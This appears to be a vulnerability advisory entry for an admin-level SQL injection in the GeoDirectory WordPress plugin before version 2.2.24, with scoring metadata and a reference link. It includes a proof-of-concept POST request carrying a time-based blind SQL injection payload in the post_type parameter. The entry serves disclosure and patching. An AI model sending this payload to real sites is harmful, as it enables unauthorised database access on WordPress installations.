GeoDirectory < 2.2.24 - Admin+ SQLi

2023-01-3100:00:00

Daniel Krohmer

226

geodirectory

sql injection

admin+

wordpress

EPSS

0.001

Percentile

44.8%

JSON

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as admin.

POST /wp-admin/admin-ajax.php HTTP/1.1

action=geodir_delete_dummy_data&security=72951761a8&post_type=gd_place_detail+WHERE+4508=4508+AND+(SELECT+2067+FROM+(SELECT(SLEEP(5)))nWvn)--+

References

bulletin.iese.de/post/geodirectory_2-2-21

EPSS

0.001

Percentile

44.8%

JSON

Related for WPEX-ID:98DEB84E-01CA-4B70-A8F8-0A226DAA85A6